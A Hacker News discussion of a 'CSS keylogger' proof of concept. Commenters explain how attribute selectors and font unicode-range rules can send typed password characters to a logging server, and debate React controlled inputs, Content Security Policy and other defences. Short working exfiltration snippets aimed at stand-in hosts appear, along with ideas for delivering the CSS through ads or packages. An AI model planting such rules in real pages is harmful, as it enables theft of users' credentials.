Show HN: A CSS Keylogger (github.com)

546 points by maxchehab 1 day ago | hide | past | web | favorite | 168 comments | instapaper

add comment

myfonj 19 hours ago [-] [-]

To some limited degree (you can detect presence, not position or number of occurences of character), you can do CSS only 'keylogging' even for non-reactive (sans JavaScript) input: you don't have to use attribute selector (which does't work without physical updates), but can exploit webfont with single letter `unicode-range` chunks. Posted it [1] to CrookedStyleSheets [2] some time ago:

```
<!doctype html>
<title>css keylogger</title>
<style>
@font-face { font-family: x; src: url(./log?a), local(Impact); unicode-range: U+61; }
@font-face { font-family: x; src: url(./log?b), local(Impact); unicode-range: U+62; }
@font-face { font-family: x; src: url(./log?c), local(Impact); unicode-range: U+63; }
@font-face { font-family: x; src: url(./log?d), local(Impact); unicode-range: U+64; }
input { font-family: x, 'Comic sans ms'; }
</style>
<input value="a">type `bcd` and watch network log
```

[1] https://github.com/jbtronics/CrookedStyleSheets/issues/24 [2] https://news.ycombinator.com/item?id=16157773

reply

Manishearth 9 hours ago [-] [-]

This will not work with password fields.

reply

sachleen 5 hours ago [-] [-]

Then there's always this: https://www.troyhunt.com/bypassing-browser-security-warnings...

reply

rickdmer 1 day ago [-] [-]

Hmm, that's pretty bad. CSS probably shouldn't be able to read password inputs.

Edit: This doesn't seem to work for me in Chrome 63.0.3239.132

Edit 2: OK, so it appears that this will only work on a password input that updates its "value" attribute with the typed in value. This doesn't happen unless there is JavaScript that updates the value attr with the input.value

reply

oblosys 1 day ago [-] [-]

If you use React, updating the value on every change is a very common pattern.

reply

enobrev 1 day ago [-] [-]

This is speculative as I haven't tested out this vulnerability or attempted to avoid it (yet), but I imagine this means it would be a good idea to make password fields "uncontrolled"[1] if you're

using react.

1: https://reactjs.org/docs/uncontrolled-components.html

reply

Semiapies 1 day ago [-] [-]

That seems reasonable.

The apps I've worked on weren't full SPAs, so I just used plain HTML for the login form.

reply

oblosys 16 hours ago [-] [-]

One option is to make the input component uncontrolled by removing the value={this.state.password} prop, but keeping the onChange handler to maintain the password in the state for validation & strength checking. Typically, the only time you need to programmatically change a password field is when clearing it, which can be done by setting the DOM attribute directly.

reply

yuchi 13 hours ago [-] [-]

Or just use correctly defined CSP

reply

enobrev 6 hours ago [-] [-]

I hadn't realized a CSP could protect against this sort of thing. Thanks for the tip!

reply

criswell 1 day ago [-] [-]

Hopefully most are updating the *property* and not the attribute.

reply

poxrud 1 day ago [-] [-]

For those that are confused, updating the property would mean:

```
this.input.value = 'password';
```

This would be fine. However updating the attribute (the way React recommends it with controlled components) would be something like:

```
<input type="text" value={this.state.value} onChange={this.handleChange} />
```

This would be vulnerable to the the CSS keylogger.

reply

dimgl 1 day ago [-] [-]

That being said, you might be thinking about this incorrectly if you're doing this.

You can use a form and grab the values on submission.

```
<form onSubmit={this.handleSubmission}>
  <input type="password" name="password" />
</form>

this.handleSubmission = event => {
  // access to event.target.password.value
}
```

reply

baddox 18 hours ago [-] [-]

You still lose things like validation on blur and displaying real-time password strength.

reply

always_good 14 hours ago [-] [-]

It might be a fair workaround, but it sucks to regress to storing truth in the DOM.

reply

Cyranix 1 day ago [-] [-]

I believe using `defaultValue` instead of `value` would be an appropriate remediation.

reply

raquo 21 hours ago [-] [-]

I think from a library API point of view, defaultValue should be setting the defaultValue DOM prop (same as value attr), and value should be setting the value DOM prop. That's what I do in my Scala.js libs. That's not what React does though.

reply

elliotec 1 day ago [-] [-]

Do you mind expanding on this a little? Or linking to a documentation or something

reply

NoInkling 23 hours ago [-] [-]

I think he/she essentially means using an uncontrolled input instead of a controlled one.

https://reactjs.org/docs/uncontrolled-components.html#defaul...

reply

elliotec 22 hours ago [-] [-]

Thanks!

reply

humblebee 1 day ago [-] [-]

It updates the attribute, you can see this pretty easily by going to the Instagram website. If you inspect the password field in the browser, when you type in a value you can see it reflected on the `value` attribute of the input element.

reply

vog 1 day ago [+1] [-]

blablabla123 15 hours ago [-] [-]

Maybe they will have to rethink it. It seemed odd when they introduced it and at least in the early React version kept making problems e.g. when entering German Umlaute on US keyboards. Not working much on Frontend anymore but when I do inputs, I only use uncontrolled ones - it's much less hassle and more flexible anyways.

reply

djsumdog 1 day ago [-] [-]

So with frameworks like React/Vue, every change to a field generates a request? Or are those handled locally in the shadow dom?

reply

mrtksn 1 day ago [-] [-]

The pattern is to handle form fields locally in the browser as part of the application state.

Basically, the value of the input is tied to a "state engine" that acts as a single source of truth and when the user types in the input you'll update the state so that the rest of the application can know what's going on in the form without accessing the DOM.

The state engine is a fancy word for a variable that has a special setter function so that the changes can be reflected globally.

reply

baddox 22 hours ago [-] [-]

Can’t speak about Vue, but that’s pretty much the recommended pattern for most input fields in React. But, as others have commented, it might be prudent to leave password inputs completely uncontrolled, i.e. let the browser do its normal thing for updating the DOM based on user input.

reply

mrtksn 18 hours ago [-] [-]

Unfortunately, that’s very inconvenient with React because you’ll have to start thinking about dom elements lifecycle separately of the react app lifecycle.

reply

baddox 18 hours ago [-] [-]

Definitely. It’s going to be a struggle to implement things like password confirmation validation or a real-time password strength indicator.

reply

xab9 1 day ago [-] [-]

Technically yes. You can see it in the network panel.

reply

endless1234 16 hours ago [-] [-]

Not at all. Sending off requests is a different thing entirely to controlled inputs, and you don't need a controlled input to do a request every keypress.

reply

akincisor 1 day ago [-] [-]

I think it would work against password managers like LastPass which fill in passwords using JS.

reply

criswell 1 day ago [-] [-]

It would only give you the last character of the password though. You can use CSS selectors to check the start [value^=a] and anything in the middle [value*=a] as well though which can be revealing I imagine.

reply

Klathmon 1 day ago [-] [-]

Well there's the start [value^=a], the end [value$=a] and the "anywhere" [value*=a] selectors.

In something like 13000 selectors you could easily get the first 2, last 2, and any characters in the middle that are in the password making targeted attacks significantly easier. (This is based on very-very rough napkin math assuming an ~80 character dictionary for upper/lower, numbers, and "symbols" since I didn't want to count)

That's a lot, but it's well within the realm of possibility (it looks like that would end up as about a 1mb css file)

reply

bzbarsky 23 hours ago [-] [-]

Not if they do it correctly (by setting .value on the password field)!

reply

theandrewbailey 1 day ago [-] [-]

Is there even a use case where CSS needs to read *any* field's value? (Checkboxes and radio buttons have :checked.)

reply

kodablah 1 day ago [-] [-]

It's about the selector, so the question should be rephrased to "Is there even a use case where CSS needs to select a node based on *any* field's value?". I think the answer is yes, but it can be limited. But it can become annoying to have a blacklist of attributes that aren't allowed to be selected on.

reply

sgc 22 hours ago [-] [-]

It's pretty common to check values of a field and set a color to the border etc. based on that, which I think is even very good ui. Maybe browsers should force restricted selectors only on some fields, which only allow limited matching based on predefined character classes or el1 === el2, since it sounds like this could be used for a cross site css attack (perhaps there already were some and I am ignorant).

reply

jakobegger 1 day ago [-] [-]

Something like conditional formatting maybe? Eg. make negative values red?

Make an input field red when it contains an invalid character?

reply

theandrewbailey 1 day ago [-] [-]

Sounds like the pattern attribute and :invalid selector on <input> will do that.

https://developer.mozilla.org/en-US/docs/Web/HTML/Element/in...

reply

thefifthsetpin 1 day ago [-] [-]

What if it's valid? There's a reason we have the phrases "in the red" and "in the black."

Another example where reading the input might be nice:

```
input[type="cc-number"][value^="4"]+.cc-system-icon {
  background-image: url('visa.png');
}input[type="cc-number"][value^="5"]+.cc-system-icon {
  background-image: url('master-card.png');
}
```

reply

dillondoyle 1 day ago [-] [-]

I was also thinking along those lines, a way to LINT/validate form fields when JS is disabled, but seems like a very obscure and inefficient (use html5 validation + js, validate server side on submit)

reply

magnat 1 day ago [-] [-]

It might be useful to show/hide certain parts of the form depending on a value selected in dropdown (SELECT) control. As for text input controls - perhaps to highlight the content when value matches expected (but not required) pattern.

reply

xab9 1 day ago [-] [-]

it's an attribute matcher, the fact that value is an attribute (or prop or whatever, I don't care) is just sugar

reply

maxchehab 1 day ago [-] [-]

Author here. I believe the injection of the css in the chrome extension will only work in newer versions of chrome. However the "attack" would still work for all browsers. :)

reply

Manishearth 1 day ago [-] [-]

This is incorrect.

The [value=foo] selector does not work for the actual value of the field, only the `value` attribute (used to set the initial value).

This means that both:

- typing the password

- setting the password via element.value=foo

will not work

The only thing that will hit this is setting the attribute via element.setAttribute("value", "foo"), and this will not update the password. It seems like React does this for whatever reason, though.

reply

xab9 1 day ago [-] [-]

Nice job. Css had similar attacks maybe a decade ago, with link:visited (referer snooping) and image with src to a logged in site... but I like the selector trick.

Extensions are a huge attack vector, but as long as one can't turn them off on a per domain basis, I'm convinced that the browsers just don't give a damn.

reply

dclowd9901 1 day ago [-] [-]

So wouldn't that mean, then, that your CSS matchers would have to contain absolutely every permutation of text possible?

reply

jaymzcampbell 1 day ago [-] [-]

The CSS attribute selector matches against the character at the *end* of the word [0], so you just need a-z, 0-9 etc and not their permutations. From the end of the readme there's this example:

```
input[type="password"][value$="a"] {
  background-image: url("http://localhost:3000/a");
}
```

[0] https://developer.mozilla.org/en-US/docs/Web/CSS/Attribute_s...

reply

dmitrygr 1 day ago [-] [-]

No, since it matches only the last character, you watch the requests it makes IN order to get the entire password. As you type "qwerty", it will request "Q", "W", "E", "R", "T", and finally "Y"

no permutations needed

reply

gsnedders 1 day ago [-] [-]

Assuming the server receives the requests in the same order as the requests were sent, which on mobile networks isn't anywhere near so certain.

reply

Francute 1 day ago [-] [-]

Not an efficient keylogger, however, if you know the pressed keys, you can just generate permutations ordered using probabilities, and that would be a lot faster than brute force.

The real deal here is, it depends on some js code updating the dom for each key press, which is BAAAD. Not an useless keylogger, because it reminds a vulnerability product of choosing a bad decision.

reply

netsharc 21 hours ago [-] [-]

Interestingly the password "BAAAD" would generate 3 requests to the logging server, since it wouldn't request the background image for the letter "A" more than one time. Or shouldn't, anyway.

reply

early 18 hours ago [-] [-]

That depends on cache headers sent from the server, which the attacker controls

reply

X-Istence 1 day ago [-] [-]

> it depends on some js code updating the dom for each key press

Like React with JSX?

reply

tmerse 1 day ago [-] [-]

It may be easier to XSS CSS than JS.

reply

spyder 16 hours ago [-] [-]

You can just add the two (or more) letter permutations to the CSS to help to identify the previous characters. (like [value$="aa"])

reply

plopz 1 day ago [-] [-]

Even if the attacker got them out of order, it would let them be able to brute force guess in a small number of attempts.

reply

hinkley 1 day ago [-] [-]

For example, there are about 41,000 possible passwords for a given set of 8 characters, out of around 96^8 possible 8 character passwords (in the ASCII character set).

reply

roywiggins 1 day ago [-] [-]

And if any of those are words or almost words, you'd guess that first and probably have it.

reply

brailsafe 1 day ago [-] [-]

Where does 41000 come from?

reply

eterm 1 day ago [-] [-]

It's 8! (8 factorial) which is 40320.

This is 127,286,426,869 (~128bn) times smaller than 92^8.

Edit: Note that if you have a repeated character in your 8 charcter password then the number of permutations of the set of 8 (7 distinct) characters is further halved to 20,160.

reply

Klathmon 1 day ago [-] [-]

And just by doubling the amount of selectors you could always check for a repeated character! (AKA [value$=aa], [value$=bb], etc...)

reply

ohmatt 1 day ago [-] [-]

Well it would also not come in the correct order if someone types their password wrong, deletes letters and re-types them, etc. But I assume the idea would be that you'd have a much easier time figuring out the password if you had all the keys they pressed.

reply

regularhackerer 1 day ago [-] [-]

Or the user corrects a typo by moving the cursor or using backspace. However I think the idea is that the keylogger will work on some or most users.

reply

cag_ii 1 day ago [-] [-]

It'd be simple enough to add an 'order' identifier (request timestamp, etc) to the requests.

Edit: nm. My mistake, not as easy as that using only css!

reply

usrusr 1 day ago [-] [-]

Simple enough, in CSS?

reply

cag_ii 1 day ago [-] [-]

My mistake, I guess I didn't really think that through...

reply

gall0ws 16 hours ago [-] [-]

Maybe with counter-reset?

reply

ateesdalejr 1 day ago [-] [-]

Why would you even need an order identifier? All you need to do is check the request logs for your server everything should be already in order.

reply

cag_ii 1 day ago [-] [-]

I was replying to the comment above which pointed out correctly that the order in which the server receives the requests may differ from the order in which they were sent.

reply

arca_vorago 1 day ago [-] [-]

One more reason to hate javascript as used and abused by modern "webdevs" and block it all unless absolutely necessary. I try very hard to keep my pages pure css and html.

reply

phoenix616 23 hours ago [-] [-]

Yeah, I have JavaScript disabled by default with uMatrix and it's a pretty annoying trend that almost every second page — even a static one page site — needs JavaScript to display anything

reply

elliotec 1 day ago [+3] [-]

kakarot 22 hours ago [-] [-]

I try very hard to keep my pages pure css and html.

That's cool, but you obviously have different requirements for the pages you build, and likely aren't in the SPA space, so your better-than-thou outlook doesn't apply.

reply

teilo 1 day ago [-] [-]

This has nothing to do with vulnerabilities in CSS or Javascript. It has to do with ill-conceived authentication implementations, written in Javascript, that save passwords in the DOM using attributes that are then accessible via CSS. That is a vulnerability on the website itself. It is also an idiotic thing to do.

reply

blixt 1 day ago [-] [-]

I wouldn't be so dismissive about this. It doesn't really matter what bucket this security issue falls under. It also doesn't change much whether it's "idiotic" or not.

The fact remains that the coding practices on a website used by about a billion people open up for part 1 of this vulnerability (these CSS styles on Instagram do load external resources as you type), and there are plenty of ways for part 2 (inject the CSS) to occur on many less well maintained sites.

reply

Buge 15 hours ago [-] [-]

Even if the site doesn't use javascript to update the DOM, it's still vulnerable to similar attacks [0]. The real problem that the attacks relies on is the ability to inject CSS that can load external resources. And Instagram doesn't allow that.

[0] https://news.ycombinator.com/item?id=16427394

reply

AndrewStephens 1 day ago [-] [-]

This is neat but doesn't really work as an attack.

The CSS selectors work on the value HtmlNode attribute rather than the Javascript "value" value, which aren't linked normally. The Instagram password field mentioned in the readme.md DOES work this way due to some custom javascript, for reasons that escape me.

[edit] Other people pointed this out first.

Also, if you are going to all the trouble of making an extension to inject your evil CSS into a page, why not go the whole hog and inject evil ecmascript instead?

reply

lambda 1 day ago [-] [-]

> Also, if you are going to all the trouble of making an extension to inject your evil CSS into a page, why not go the whole hog and inject evil ecmascript instead?

That may just be for the proof of concept.

There are websites which allow users to customize themes of certain pages; such at Tumblr and Reddit. I believe these allow custom CSS. There are probably plenty of other places where it may be possible to inject CSS but not JavaScript.

So, it's worth demonstrating the vulnerability, even if the current way of distributing it only really makes sense for testing purposes.

reply

slig 1 day ago [-] [-]

> The Instagram password field mentioned in the readme.md DOES work this way due to some custom javascript, for reasons that escape me

Instagram is a React app and React works that way.

reply

AndrewStephens 1 day ago [-] [-]

Thanks, always nice to hear from somebody who knows something. So this seem like a flaw in React rather than a flaw in browsers - there is no reason to leak the typed-in password value into the the value attribute where CSS can get its' grubby mitts on it.

reply

bfrydl 1 day ago [-] [-]

React doesn't work that way. It's a convention which I persoally have always found questionable.

reply

benatkin 1 day ago [-] [-]

It's more than a convention. It's presented as the default way to do it in the official docs. https://reactjs.org/docs/forms.html#controlled-components

reply

acostanza 23 hours ago [-] [-]

Could use an uncontrolled component, which I don't think is vulnerable? https://reactjs.org/docs/uncontrolled-components.html

For simple username/password entry I see no reason to use a controlled component.

reply

baddox 22 hours ago [-] [-]

That should be fine, at least for avoiding this attack.

In general, though, there are solid reasons to use this pattern in React. With uncontrolled components, you won't be able to use React to do form validation or AJAX form submission. You would need to bypass the React virtual DOM and attach listeners on the actual DOM elements.

reply

rav 18 hours ago [-] [-]

You can still do form validation on submit though, according to dimgl's earlier comment: https://news.ycombinator.com/item?id=16426131

reply

baddox 18 hours ago [-] [-]

Very good point! With that method you can still display validation errors in a "Reacty" way. But you still don't get pre-submit validation, like marking an input invalid on blur, or displaying real-time password strength.

reply

insin 14 hours ago [-] [-]

You can still capture an uncontrolled input's data `onChange` and `onBlur` for validation, password strength checking, later submission etc., you just don't reflect it back into the input on every render.

The only thing it affects is your ability to change the input's data via a state change, but for a password field would you ever want to do anything but get its current value or clear it?

reply

baddox 13 hours ago [-] [-]

You're right. With a little effort you could create reusable React form fields that are not controlled but which communicate their value/blur/etc. back to React for validation purposes.

And yes, for password inputs, I can't think of a case where you would absolutely need to control the value via React. Things like password confirmation validation and password strength indicators can be implemented via onChange and onBlur. It's more tedious than the normal controlled input pattern, but given vulnerabilities like this one, it's likely worth creating reusable uncontrolled inputs.

reply

baddox 22 hours ago [-] [-]

Why do you find it questionable, other than the possibility of attacks like this?

reply

moojd 1 day ago [-] [-]

I could see this being an issue on sites that allow custom css (reddit)

reply

fareesh 1 day ago [-] [-]

The combination of the two prerequisite conditions is probably tiny. JS needs to update the css accessible value attribute of the field as well. That's a less likely situation. I guess anything that's react + this auth method + custom CSS is vulnerable. Can't think of anything that does all three.

reply

xab9 1 day ago [-] [-]

Because of access levels. You may install an extension that requires no access to anything interesting (hey it's just harmless css), but may refuse to install something that wants to read your dom.

Another fun thing: user css / theme extensions where you only install themes. Themes are not dangerous, are they? It's just eyecandy.

reply

regularhackerer 1 day ago [-] [-]

All you need is a website with a vulnerable password form and the ability to serve malicious CSS, say, via an ad. Seems pretty dangerous to me.

reply

humblebee 1 day ago [-] [-]

> The Instagram password field mentioned in the readme.md DOES work this way due to some custom javascript, for reasons that escape me.

React.

reply

AntonyGarand 1 day ago [-] [-]

Firewalls blocking javascript would let this pass, NoScript users would get their info stolen, CSS injection vulnerabilities may not allow a XSS as well.

If you do control the page, there may not be that many reasons, but if you only have a limited entry-point, this is very interesting.

reply

maxchehab 1 day ago [-] [-]

Javascript can be blocked from chrome extensions. In fact, Instagram does block javascript. However, clearly css is not blocked.

reply

bfred_it 1 day ago [-] [-]

What do you mean by "Instagram does block javascript"? What JS does it block?

reply

xab9 1 day ago [-] [-]

You can't event get a list of extensions installed (from a page), but please do tell. You mean generic blocking via CSP/HSTS?

reply

Kequc 23 hours ago [-] [-]

This exploit might be defeated with the following css:

input[type="password"] { background-image: none !important; }

And if the exploit uses `!important` then you just need to make your selector more specific such as putting it inside an id. If you have malicious javascript running on your page there are better ways to steal data. I feel there is low risk of coming across this problem in the wild.

reply

Illniyar 20 hours ago [-] [-]

Actually if you use inline style with important there is no way to override it.

I.e. <input type="password" style="background-image:none !important"/>

reply

ry_ry 17 hours ago [-] [-]

Although that does rely on targeting that specific attribute. There are probably a handful of ways to trigger an http request in this instance.

You don't actually even need to select that specific node - whilst you can't use :after on replaced elements, if the input has a sibling an attacker could input[type="password"] + div:after or something along those lines.

The main takeaway for me is that making a password field a controlled component is a marginal security risk in some instances, and letting people pump their own styles into sign-in pages is a bad idea.

reply

danschumann 1 day ago [-] [-]

I've been noticing a lot of CSP talk lately, how CSP is the end-all be-all solution for lots of these types of attacks. Makes me think we should have more articles about how to properly implement a CSP! (content security policy-prevents requests to websites not on the white-list -- the background image request would be rejected)

reply

bfred_it 1 day ago [-] [-]

No it does not. CSS selectors do *not* apply to input content and `[value]` selectors apply to attributes, which are *not* updated by just typing in it.

This is *not* a CSS keylogger if you need to update the attributes with the input value via JS.

Edit: this apparently works on React sites because React seems to update the `value` attribute as well. Maybe *that* should be fixed as it's unnecessary.

reply

twhb 12 hours ago [-] [-]

This isn't a problem. CSS could already control what's displayed and what effect it has. It could already make clicking "next page" open an invisible chat to their account, your password box send your password as a message, and your message from a friend read anything they want. It's always been a trusted asset.

What might be a problem is developers not treating it as such.

reply

vbezhenar 1 day ago [-] [-]

I wonder if it's possible to make auto-updating CSS. CSS can use @import url("another.css"), and "another.css" might be returned with delay and import "another2.css", but I'm not sure if browser would process current css before it'll import everything.

If this would work, it could spy even without React. Detect first character, then server returns next CSS to detect second character and so on.

reply

sachleen 1 day ago [-] [-]

You'd have to have all permutations of any length password in the css file AND it would have to be pre-filled using the value attribute.

The original post on this talks about it in more detail:

https://www.mike-gualtieri.com/posts/stealing-data-with-css-...

Summary: A method is detailed - dubbed CSS Exfil - which can be used to steal targeted data using Cascading Style Sheets (CSS) as an attack vector. Due to the modern web's heavy reliance on CSS, a wide variety of data is potentially at risk, including: usernames, passwords, and sensitive data such as date of birth, social security numbers, and credit card numbers. The technique can also be used to de-anonymize users on dark nets like Tor. Defense methods are discussed for both website operators as well as web users, and a pair of browser extensions are offered which guard against this class of attack.

reply

jaymzcampbell 1 day ago [-] [-]

It is using an attribute selector that matches against the last character only - so no giant file of permutations required.

reply

hughes 1 day ago [-] [-]

Also, and critically, the server always responds with an HTTP 400 status code. This prevents caching in most browsers, so the request will be made again when a key is repeated.

reply

bfred_it 1 day ago [-] [-]

In short: this works when the SERVER returns a page with pre-entered information.

This is common when returning to a form you previously filled, like an address for, but it's very, very rare for this to happen to a password field. Like, why would a server send you a password field with your real password pre-entered?

Every other type of data is fair game... given that the attacker can inject CSS into your pages.

reply

raquo 1 day ago [-] [-]

It makes no sense to update the value *attribute* of an any input instead of the value *property*. value *attribute* behaves like `defaultValue`. There is zero reason to update it unless you want to store a *default password* in the DOM (wtf?).

All you need is to know what DOM reflected attributes/properties are, and that `value` isn't one. I guess you can excuse app developers from knowing this, but for library developers ignoring these concepts is careless.

Incidentally, this problem becomes much more apparent with a static type system, and my Scala.js libraries [1] deal with this by properly differentiating between `defaultValue` (the value attr) and value (the prop). Not because I had the foresight for bugs like this, but because the type safe environment forced me to deal with this.

I admittedly have a hard time hiding my annoyance at the #yolojs monoculture that encourages such sloppy programming.

[1]

https://github.com/raquo/scala-dom-types#reflected-attribute...

https://github.com/raquo/Laminar/

reply

paxy 1 day ago [-] [-]

Can't Chrome extensions already intercept network traffic though? Why does this need to be done at the CSS level?

reply

rocqua 1 day ago [-] [-]

Chrome extensions are used here as the method for injecting CSS, but there are other possible ways to inject such CSS.

e.g. ads.

reply

ktpsns 1 day ago [-] [-]

This is a very good question. The github project README does not say anything about the issue with the extensions. Does it also work in a regular page? Weird.

reply

wuyishan 1 day ago [-] [-]

Couldn't Content Security Policy (CSP) [1] be used to mitigate this attack?

[1]: https://developer.mozilla.org/en-US/docs/Web/HTTP/CSP

reply

maxchehab 1 day ago [-] [-]

It actually can't. Instagram does use this protect java-script injection from extensions, but clearly injecting CSS is allowed.

reply

sbarre 1 day ago [-] [-]

But could you use CSP to block the image loading that happens in the CSS with 'img-src' definitions?

Someone else in this thread suggested that as well.

reply

15155 1 day ago [-] [-]

The requested resource, however, could be blocked by a CSP.

reply

Raphmedia 1 day ago [-] [-]

I can't seem to make it work from a web page. Perhaps it's for extensions only?

https://jsfiddle.net/tdwsw6zo/3/

reply

rickdmer 1 day ago [-] [-]

The input has to have the "value" set in the HTML. https://jsfiddle.net/tdwsw6zo/4/

reply

Raphmedia 1 day ago [-] [-]

Well, yes of course but that's simply an attribute selector parsing the raw HTML.

This can be done with any attribute:

<input type="password" hackernews="isthebestwebsite">

input[type="password"][hackernews$="isthebestwebsite"] { background-image: url("http://placehold.it/15x15?text=h4x0r"); }

That's not a keylogger at all, the data is already printed in the HTML source.

reply

SpaceNugget 22 hours ago [-] [-]

the point is that react updates the attribute every time you type a character into the password field. So if you have the rules for background-image: url("http://your.server/a"); for password fields that END with 'a', and a rule background-image: url("http://your.server/b"); for password fields that END with 'b', if you type "ab", after the a, the value attribute is updated and the css will request the background for passwords that end with 'a', then when you type b, the attribute is updated again and the css will request the password for 'b's. so you check your server logs and you will have 2 requests, one for a and one for b. you now know that they typed "ab".

Most people in the comments don't seem to understand how this works. i.e. you don't need to have rules for all possible passwords, just one for each character.

reply

sachleen 1 day ago [-] [-]

Yup, you'd have to have all permutations of any length password in the css file AND it would have to be pre-filled using the value attribute. The original post on this talks about it in more detail: https://www.mike-gualtieri.com/posts/stealing-data-with-css-...

reply

maxchehab 1 day ago [-] [-]

Your background-image url must be an endpoint that can process a request. Simply, requesting a placehold.it/a image is pointless, but sending to l33thacker.com/a, assuming that l33thacker.com knows how to process that request maliciously, will work.

reply

Raphmedia 1 day ago [-] [-]

But you would still see the network call to placehold.it/ if it actually worked.

reply

ficklepickle 1 day ago [-] [-]

It can be done manually. Send the request to a server you control and check the logs. It doesn't scale well but it would work fine for a targeted attack.

reply

jlg23 1 day ago [-] [-]

I have not tried it, but if it works (it should): Chapeau, a very neat exploit indeed.

reply

fiatjaf 1 day ago [-] [-]

Why not

```
input[type="password"] {
  background-image: url(attr(value));
}
```

?

reply

bfred_it 1 day ago [-] [-]

url(attr(...)) isn't supported by any browser yet, AFAIK

reply

orliesaurus 1 day ago [-] [-]

Why do you have to activate the extension before entering the password?

reply

guntars 1 day ago [-] [-]

Probably to add the css file to the page you're on.

reply

okanesen 1 day ago [-] [-]

So you can test the "exploit" obviously.

reply

orliesaurus 1 day ago [-] [-]

yes obviously, but in a real world scenario how would that work? Malicious extension loads the CSS file in my current tab and sniffs my password on the attacker's server? Can Chrome extensions load CSS without me having to click/activate them?

reply

maxchehab 1 day ago [-] [-]

Yes they can. This attack does not have to be carried done through a chrome extension. I simply chose that because it is the easiest to show off. This can be hidden inside of a malicious npm module or injected into a website that has poor input sanitization.

The most important aspect of this attack is that it is carried out through css. It is possible to block remote javascript code from an extension, in fact, if one wanted to inject javascript into https://instagram.com (my example on github), they would fail.

reply

orliesaurus 1 day ago [-] [-]

Thanks OP - that answers it!

reply

bfred_it 1 day ago [-] [-]

The extension is just a way to inject this demo into any site, but extensions that you install can run JavaScript in any site they're allowed to, so this "hack" isn't necessary in that case.

reply

sexy_seedbox 1 day ago [-] [-]

One way of mitigating this is to have strong passwords NOT in alphanumeric characters (if allowed by website), such as mixing emojis with Asian characters.

reply

javajosh 1 day ago [-] [-]

Interestingly, you can defeat this key logger by typing the last character first, use the arrow key to go left and type in the rest. This works because the CSS selector only matches the end of the value input.

reply

spyder 16 hours ago [-] [-]

yea, and also when copy-pasting the password.

reply

tritium 1 day ago [-] [-]

To be really dangerous, I think this would need to defeat client-side cache strategies. If the browser caches each resource, the server-side reads wouldn't account for repeated characters or overall length with perfect accuracy. Consider palindromes like "racecar."

This would still put many, if not most, passwords within guessable striking distance, for anyone able to intercept plain-text HTTP traffic, between Alice (the client) and Bob (the CSS image resource server).

reply

regularhackerer 1 day ago [-] [-]

Keylogger server response can recommend the browser not to cache.

reply

alasdair_ 1 day ago [-] [-]

The server just returns a 400, causing the browser to no longer cache it.

reply

tritium 1 day ago [-] [-]

True! And now I'm realizing, depending on position in the network, the server doen't even need to exist, if one only needed to MITM the request traffic... Geeze.

reply

theandrewbailey 1 day ago [-] [-]

This might need to defeat backspace, too.

reply

moeadham 1 day ago [-] [-]

I hate the internet.

reply

slantaclaus 1 day ago [-] [-]

You should try the cloud it works way better

reply

B1FF_PSUVM 1 day ago [-] [-]

The internet was OK, it's the web that broke bad.

(Truth to tell, advertisers had their fangs on even the barest 'social media' thing like Usenet, where "spam" not in a tin can was first defined.)

reply

fareesh 1 day ago [-] [-]

Reminds me of meltdown. Pretty neat.

reply

jandrese 1 day ago [-] [-]

CSS has gone too far. At least when I'm worried about a nasty javascript attack from a site I can be somewhat reassured that noscript/umatrix will work. Am I going to have to start whitelisting CSS now too? Am I too late?

reply

Raphmedia 1 day ago [-] [-]

You are. CSS has gone "too far" the second it allowed linking to images.

I can simply background-image:url("myTrackingPixel.png") and then track whenever someone tries to load that image from my server.

reply

jandrese 1 day ago [-] [-]

It drives me crazy when I see someone has implemented Doom in CSS, but it still requires black magic to do a simple responsive three column layout without using bleeding edge features that aren't widely supported yet.

reply

Raphmedia 1 day ago [-] [-]

Browser support (not using Flexbox because of IE) is not that hard once you get your head around it:

view-source:http://alistapart.com/d/holygrail/example_3.html

http://alistapart.com/d/holygrail/example_3.html

reply

dmitrygr 1 day ago [-] [-]

Falls apart entirely on phones (tiny columns of one word wide each, AND horizontal scrolling), so you only proved OP's point...

reply

notahacker 1 day ago [-] [-]

In fairness, that was written in 2006 when people browsing the internet on their dumbphones generally got served entirely different web pages. And you could fix it with media queries. But the fact that it needed hacky stuff like arbitrarily large positive padding and negative margin values to achieve a "holy grail" of the standard way websites had been laid out using tables for the previous decade or so didn't reflect very well on CSS spec drafters or the browser vendors of the time.

reply

Raphmedia 1 day ago [-] [-]

To be honest, nothing ever stopped anyone from using display:table;, display:table-row; and display:table-cell;

reply

notahacker 1 day ago [-] [-]

This probably is the most robust solution now, but IE6 mattered then, and it didn't even work in the shiny new IE7

reply

Raphmedia 1 day ago [-] [-]

Well, of course. That's simply a three column layout example without any responsive media queries. It's the bare minimum to a three column "holy grail". If anything, you could simply add the viewport meta tag to have the user's phone zoom in automatically.

However, making this example responsive is a piece of cake:

@media only screen and (max-width: 1024px) {

```
    * {
        float: none !important;
        width: 100% !important;
```

```
            margin: 0 !important;

            padding: 0 !important;

            position: relative !important;

            right: auto !important;

            left: auto !important;

        }


    }
```

(Terrible CSS simply to show how easy it is to make it responsive. Normally you wouldn't wildcard important everything but target the right classes. I can't be bothered, this gets the point across.)

reply

Manishearth 1 day ago [-] [-]

This isn't a CSS feature, CSS does *not* let you select on the value of a password field (it lets you select on the value of the `value` *attribute*, which doesn't change when you type)

This is a React feature, where React apps specifically use the value attribute (`element.setAttribute("value", ...)`) to set the value, instead of `element.value`.

reply

ry_ry 17 hours ago [-] [-]

Or if that attribute was populated via props from it's parent, which is a more common implementation.

reply

vlunkr 1 day ago [-] [-]

As other comments have stated, this only works if the 'value' attr is being set on the input box as you type (which React will do), so it still requires JS.

reply

rocqua 1 day ago [-] [-]

There are a lot of sites where you wouldn't need to inject the JS code for react though.

reply

commandlinefan 1 day ago [-] [-]

ALWAYS browse with devtools open, and pay close attention to every packet that's being sent out (especially when you're not expecting any to...)

reply

saagarjha 1 day ago [-] [-]

This isn't practical at all. Many websites perform hundreds of requests.

reply

commandlinefan 1 day ago [-] [-]

Not while I'm sitting around not doing anything, at least not normally. Gmail refreshes itself every few seconds, but I'd be awfully suspicious if I started seeing a single packet being transmitted each time I typed a character into a password box.

reply

booleandilemma 1 day ago [-] [-]

I can't tell my parents to do that though.

reply

quickthrower2 1 day ago [-] [-]

That's not enough if you are using an online crypto wallet. You also need to check if the seeding is deterministic. And also it could send the data 'later' when you next visit the site rather than now, storing it in indexeddb/localstorage/ etc. So you have a false sense of security.

Also as in this example loading a .jpg could be a way of communicating something.

reply